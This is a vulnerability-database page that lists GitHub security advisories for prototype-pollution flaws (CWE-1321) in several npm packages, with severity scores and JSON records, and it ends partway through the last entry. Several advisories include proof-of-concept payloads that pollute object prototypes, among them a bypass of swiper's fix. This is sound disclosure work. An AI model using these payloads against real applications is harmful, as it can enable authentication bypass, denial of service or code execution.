Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

783 vulnerabilities reference this CWE, most recent first.

GHSA-HHF6-3XPG-PGGX

Vulnerability from github – Published: 2025-09-24 21:30 – Updated: 2025-09-25 16:46
VLAI
Summary
web3-core-subscriptions has a Prototype Pollution vulnerability
Details

The web3-core-subscriptions is a package designed to manages web3 subscriptions. A Prototype Pollution vulnerability in the attachToObject function of web3-core-subscriptions version 1.10.4 and before allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence.

Severity
2.9 (Low)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "web3-core-subscriptions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.0-alpha.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57330"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-25T16:46:20Z",
    "nvd_published_at": "2025-09-24T19:15:39Z",
    "severity": "LOW"
  },
  "details": "The web3-core-subscriptions is a package designed to manages web3 subscriptions. A Prototype Pollution vulnerability in the attachToObject function of web3-core-subscriptions version 1.10.4 and before allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence.",
  "id": "GHSA-hhf6-3xpg-pggx",
  "modified": "2025-09-25T16:46:20Z",
  "published": "2025-09-24T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57330"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web3/web3.js/commit/d9660426c12210c5071aeb4e1a647c6ea9d67b12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VulnSageAgent/PoCs/blob/main/JavaScript/prototype-pollution/web3-core-subscriptions%401.10.4/index.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VulnSageAgent/PoCs/tree/main/JavaScript/prototype-pollution/CVE-2025-57330"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/web3/web3.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "web3-core-subscriptions has a Prototype Pollution vulnerability"
}

GHSA-HHX9-57XQ-R5RW

Vulnerability from github – Published: 2026-07-01 20:55 – Updated: 2026-07-01 20:55
VLAI
Summary
@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key
Details

Summary

dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.

Details

The vulnerable branch in dist/clients/core/params.ts:

const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
  const [prefix, slot] = extra
  ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}

This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).

Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.

Concrete field config that hey-api generates for a GET endpoint with one query param q:

// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])

A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.

PoC

npm install @hey-api/openapi-ts@0.97.2
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc

poc.ts:

import { buildClientParams } from "./params.ts";

// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];

// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
  [{ q: "hello", "$query___proto__": { isAdmin: true } }],
  generatedFields
);

const q = result.query as any;
console.log(q.q);                           // "hello" — own property, normal
console.log(q.isAdmin);                     // true — inherited via prototype chain
console.log(Object.keys(q));               // ["q"] — own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"

Expected output:

[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
  Scenario: GET /search with fields [{ in:'query', key:'q' }]
  Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }

  result.query.q         = hello
  result.query.isAdmin   = true  ← inherited, NOT own
  Object.keys(q)         = [ 'q' ]
  for..in keys           = q, isAdmin
  Object.getPrototypeOf  = {"isAdmin":true}

No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots. reproduce.zip

Impact

The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.

Global Object.prototype is not modified — impact is limited to the returned slot object and its consumers.

Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@hey-api/openapi-ts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.97.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48819"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:55:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `\"$query___proto__\"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`.\n\n### Details\n\nThe vulnerable branch in `dist/clients/core/params.ts`:\n\n```typescript\nconst extra = extraPrefixes.find(([prefix]) =\u003e key.startsWith(prefix))\nif (extra) {\n  const [prefix, slot] = extra\n  ;(params[slot] as Record\u003cstring, unknown\u003e)[key.slice(prefix.length)] = value\n}\n```\n\nThis branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `\"$query___proto__\"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith(\"$query_\")` is true, and `key.slice(7)` produces `\"__proto__\"`. The bracket-write `params[\"query\"][\"__proto__\"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`.\n\n**Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method \u2014 a common pattern in proxy servers, BFF layers, and API gateways \u2014 an attacker can include `\"$query___proto__\"` alongside a legitimate field (e.g. `\"q\"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller.\n\nConcrete field config that hey-api generates for a GET endpoint with one query param `q`:\n\n```typescript\n// generated by hey-api for: GET /search?q=\u003cstring\u003e\nbuildClientParams([parameters], [{ args: [{ in: \"query\", key: \"q\" }] }])\n```\n\nA request `{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }` reaches this call with `\"q\"` going to the field map branch and `\"$query___proto__\"` falling through to `extraPrefixes`.\n\n### PoC\n\n```bash\nnpm install @hey-api/openapi-ts@0.97.2\ncp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts\nnpx tsx poc.ts\n# or: docker build -t heyapi-poc . \u0026\u0026 docker run --rm heyapi-poc\n```\n\n`poc.ts`:\n\n```typescript\nimport { buildClientParams } from \"./params.ts\";\n\n// Generated fields config for GET /search?q=\u003cstring\u003e\nconst generatedFields = [{ args: [{ in: \"query\" as const, key: \"q\" }] }];\n\n// Attacker request: legitimate \"q\" plus injected \"$query___proto__\"\nconst result = buildClientParams(\n  [{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }],\n  generatedFields\n);\n\nconst q = result.query as any;\nconsole.log(q.q);                           // \"hello\" \u2014 own property, normal\nconsole.log(q.isAdmin);                     // true \u2014 inherited via prototype chain\nconsole.log(Object.keys(q));               // [\"q\"] \u2014 own keys only\nfor (const k in result.query) console.log(k); // \"q\", \"isAdmin\"\n```\n\nExpected output:\n\n```\n[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key\n  Scenario: GET /search with fields [{ in:\u0027query\u0027, key:\u0027q\u0027 }]\n  Attacker request: { q: \u0027hello\u0027, \u0027$query___proto__\u0027: { isAdmin: true } }\n\n  result.query.q         = hello\n  result.query.isAdmin   = true  \u2190 inherited, NOT own\n  Object.keys(q)         = [ \u0027q\u0027 ]\n  for..in keys           = q, isAdmin\n  Object.getPrototypeOf  = {\"isAdmin\":true}\n```\n\nNo sentinel key is needed. The legitimate field `\"q\"` keeps `params.query` alive through `stripEmptySlots`.\n[reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip)\n\n\n\n### Impact\n\nThe returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.\n\nGlobal `Object.prototype` is not modified \u2014 impact is limited to the returned slot object and its consumers.\n\nEvery npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.",
  "id": "GHSA-hhx9-57xq-r5rw",
  "modified": "2026-07-01T20:55:17Z",
  "published": "2026-07-01T20:55:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hey-api/openapi-ts/security/advisories/GHSA-hhx9-57xq-r5rw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hey-api/openapi-ts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@hey-api/openapi-ts\u0027s `buildClientParams` template: prototype chain substitution via unknown `$\u003cslot\u003e___proto__` key"
}

GHSA-HJ76-42VX-JWP4

Vulnerability from github – Published: 2026-01-21 15:41 – Updated: 2026-01-22 15:39
VLAI
Summary
seroval Affected by Prototype Pollution via JSON Deserialization
Details

Due to improper input validation, a malicious object key can lead to prototype pollution during JSON deserialization. This affects only JSON deserialization functionality.

As there is no known workaround, please upgrade to the latest version.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "seroval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T15:41:14Z",
    "nvd_published_at": "2026-01-21T23:15:52Z",
    "severity": "HIGH"
  },
  "details": "Due to improper input validation, a malicious object key can lead to prototype pollution during JSON deserialization.\nThis affects only JSON deserialization functionality.\n\nAs there is no known workaround, please upgrade to the latest version.",
  "id": "GHSA-hj76-42vx-jwp4",
  "modified": "2026-01-22T15:39:43Z",
  "published": "2026-01-21T15:41:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-hj76-42vx-jwp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23736"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxsmnsyc/seroval/commit/ce9408ebc87312fcad345a73c172212f2a798060"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxsmnsyc/seroval"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "seroval Affected by Prototype Pollution via JSON Deserialization"
}

GHSA-HJWQ-MJWJ-4X6C

Vulnerability from github – Published: 2024-12-02 17:26 – Updated: 2024-12-02 17:26
VLAI
Summary
@intlify/shared Prototype Pollution vulnerability
Details

Vulnerability type: Prototype Pollution

Affected Package:

Product: @intlify/shared Version: 10.0.4

Vulnerability Location(s):

node_modules/@intlify/shared/dist/shared.cjs:232:26

Description:

The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @intlify/shared@10.0.4
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

References

Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.

OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.

PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@intlify/shared"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.7.0"
            },
            {
              "fixed": "9.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@intlify/vue-i18n-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.7.0"
            },
            {
              "fixed": "9.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vue-i18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.7.0"
            },
            {
              "fixed": "9.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "petite-vue-i18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@intlify/shared"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@intlify/vue-i18n-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vue-i18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-52810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-02T17:26:47Z",
    "nvd_published_at": "2024-11-29T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "**Vulnerability type: Prototype Pollution**\n\n**Affected Package:**\n\nProduct: @intlify/shared\nVersion: 10.0.4\n\n\n**Vulnerability Location(s):**\n\n`node_modules/@intlify/shared/dist/shared.cjs:232:26`\n\n\n**Description:**\n\nThe latest version of `@intlify/shared (10.0.4)` is vulnerable to Prototype Pollution through the entry function(s) `lib.deepCopy`. An attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application\u0027s context.\n\n**PoC:**\n\n```bash\n// install the package with the latest version\n~$ npm install @intlify/shared@10.0.4\n// run the script mentioned below \n~$ node poc.js\n//The expected output (if the code still vulnerable) is below. \n// Note that the output may slightly differs from function to another.\nBefore Attack:  {}\nAfter Attack:  {\"pollutedKey\":123}\n```\n\n\n```js\n(async () =\u003e {\nconst lib = await import(\u0027@intlify/shared\u0027);\nvar someObj = {}\nconsole.log(\"Before Attack: \", JSON.stringify({}.__proto__));\ntry {\n// for multiple functions, uncomment only one for each execution.\nlib.deepCopy (JSON.parse(\u0027{\"__proto__\":{\"pollutedKey\":123}}\u0027), someObj)\n} catch (e) { }\nconsole.log(\"After Attack: \", JSON.stringify({}.__proto__));\ndelete Object.prototype.pollutedKey;\n})();\n```\n\n**References**\n\n[Prototype Pollution Leading to Remote Code Execution](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - An example of how prototype pollution can lead to command code injection.\n\n[OWASP Prototype Pollution Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html) - Best practices for preventing prototype pollution.\n\n[PortSwigger Guide on Preventing Prototype Pollution](https://portswigger.net/web-security/prototype-pollution/preventing) - A detailed guide to securing your applications against prototype pollution.",
  "id": "GHSA-hjwq-mjwj-4x6c",
  "modified": "2024-12-02T17:26:47Z",
  "published": "2024-12-02T17:26:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/intlify/vue-i18n/security/advisories/GHSA-hjwq-mjwj-4x6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52810"
    },
    {
      "type": "WEB",
      "url": "https://github.com/intlify/vue-i18n/commit/9f20909ef8c9232a1072d7818e12ed6d6451024d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/intlify/vue-i18n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@intlify/shared Prototype Pollution vulnerability"
}

GHSA-HM82-QR45-H7MW

Vulnerability from github – Published: 2021-12-10 17:22 – Updated: 2023-09-08 22:51
VLAI
Summary
Prototype Pollution in field
Details

Prototype pollution vulnerability in 'field' versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "field"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.1"
            },
            {
              "last_affected": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-07-26T18:23:15Z",
    "nvd_published_at": "2020-11-12T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in \u0027field\u0027 versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.",
  "id": "GHSA-hm82-qr45-h7mw",
  "modified": "2023-09-08T22:51:04Z",
  "published": "2021-12-10T17:22:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28269"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jprichardson/field/blob/2a3811dfc4cdd13833977477d2533534fc61ce06/lib/field.js#L39"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28269"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28269,"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in field"
}

GHSA-HMX5-QPQ5-P643

Vulnerability from github – Published: 2026-02-19 20:28 – Updated: 2026-02-23 22:27
VLAI
Summary
Prototype pollution in swiper
Details

Summary

A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, < 12.1.2). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. This issue is fixed in version 12.1.2

Details

The vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings.

PoC

Steps to reproduce

  1. Install latest version of swiper using npm install
  2. Run the following code snippet:
var swiper = require('swiper');
Array.prototype.indexOf = () => -1;        
let obj = {};
var malicious_payload = '{"__proto__":{"polluted":"yes"}}';
console.log({}.polluted);
swiper.default.extendDefaults(JSON.parse(malicious_payload));
console.log({}.polluted);  // prints yes -> indicating that the patch was bypassed and prototype pollution occurred

Expected behavior

Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console:

undefined
undefined OR throw an Error

Actual behavior

Object.prototype is polluted This is printed on the console:

undefined 
yes

Impact

This is a prototype pollution vulnerability, which can have severe security implications depending on how swiper is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected. It could potentially lead to the following problems: 1. Authentication bypass 2. Denial of service - Even if an attacker is not able to exploit prototype pollution in swiper, if there is a prototype pollution within the project from other dependencies, modifying global Array.prototype.indexOf property can result in crash when swiper.default.extendDefaults is called because swiper makes use of this global property. This can lead to Denial of Service.
3. Remote code execution (if polluted property is passed to sinks like eval or child_process)

Related CVEs

CVE-2026-25521 CVE-2026-25047 CVE-2026-26021

Severity
9.4 (Critical)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "swiper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.5.1"
            },
            {
              "fixed": "12.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27212"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-19T20:28:35Z",
    "nvd_published_at": "2026-02-21T06:17:01Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA prototype pollution vulnerability exists in the the npm package swiper (\u003e=6.5.1, \u003c 12.1.2). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. This issue is fixed in version 12.1.2\n\n### Details\nThe vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings.\n\n### PoC\n#### Steps to reproduce\n1. Install latest version of swiper using npm install \n2. Run the following code snippet:\n```javascript\nvar swiper = require(\u0027swiper\u0027);\nArray.prototype.indexOf = () =\u003e -1;        \nlet obj = {};\nvar malicious_payload = \u0027{\"__proto__\":{\"polluted\":\"yes\"}}\u0027;\nconsole.log({}.polluted);\nswiper.default.extendDefaults(JSON.parse(malicious_payload));\nconsole.log({}.polluted);  // prints yes -\u003e indicating that the patch was bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted\nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how swiper is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected.\nIt could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service - Even if an attacker is not able to exploit prototype pollution in swiper, if there is a prototype pollution within the project from other dependencies, modifying global `Array.prototype.indexOf` property can result in crash when swiper.default.extendDefaults is called because swiper makes use of this global property. This can lead to Denial of Service.  \n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)\n\n### Related CVEs\n[CVE-2026-25521](https://github.com/advisories/GHSA-rxrv-835q-v5mh)\n[CVE-2026-25047](https://github.com/advisories/GHSA-2733-6c58-pf27)\n[CVE-2026-26021](https://github.com/advisories/GHSA-2c4m-g7rx-63q7)",
  "id": "GHSA-hmx5-qpq5-p643",
  "modified": "2026-02-23T22:27:46Z",
  "published": "2026-02-19T20:28:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nolimits4web/swiper/security/advisories/GHSA-hmx5-qpq5-p643"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27212"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nolimits4web/swiper/commit/d3e663322a13043ca63aaba235d8cf3900e0c8cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nolimits4web/swiper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nolimits4web/swiper/releases/tag/v12.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Prototype pollution in swiper"
}

GHSA-HP36-V28F-W3R4

Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-06-19 20:47
VLAI
Summary
flat-to-nested: Prototype pollution in flat-to-nested convert() via __proto__ parent/id key
Details

Summary

convert() builds the nested tree by using each flat record's id and parent field values directly as object keys, with no guard against __proto__ / constructor / prototype. A record whose parent is the string "__proto__" makes temp[parent] resolve to Object.prototype, and the following initPush(...) writes attacker-controlled data onto the global prototype. Any application that passes attacker-influenced records to convert() is affected, and the base prototype methods stay intact so the pollution is stealthy.

### Details In index.js, convert() (FlatToNested.prototype.convert):

  • temp = {} (line 45) and pendingChildOf = {} (line 46) are plain objects, so they inherit from Object.prototype.
  • For each record, parent = flatEl[this.config.parent] (line 51) is taken verbatim from input.
  • Line 57: if (temp[parent] !== undefined) — when parent === "__proto__", temp["__proto__"] resolves via the prototype chain to Object.prototype, which is !== undefined, so the branch is taken.
  • Line 59: initPush(this.config.children, temp[parent], flatEl) → effectively initPush("children", Object.prototype, flatEl).
  • initPush (lines 4-9): Object.prototype["children"] = [] then Object.prototype["children"].push(flatEl) — attacker-controlled data is written onto the global Object.prototype.

There is no sanitization of id / parent anywhere; they flow straight into temp[id], temp[parent], and pendingChildOf[parent] as dynamic keys.

### PoC ```js const FlatToNested = require('flat-to-nested');

new FlatToNested().convert([ { id: 1, parent: 'proto', polluted: 'PWNED' } ]);

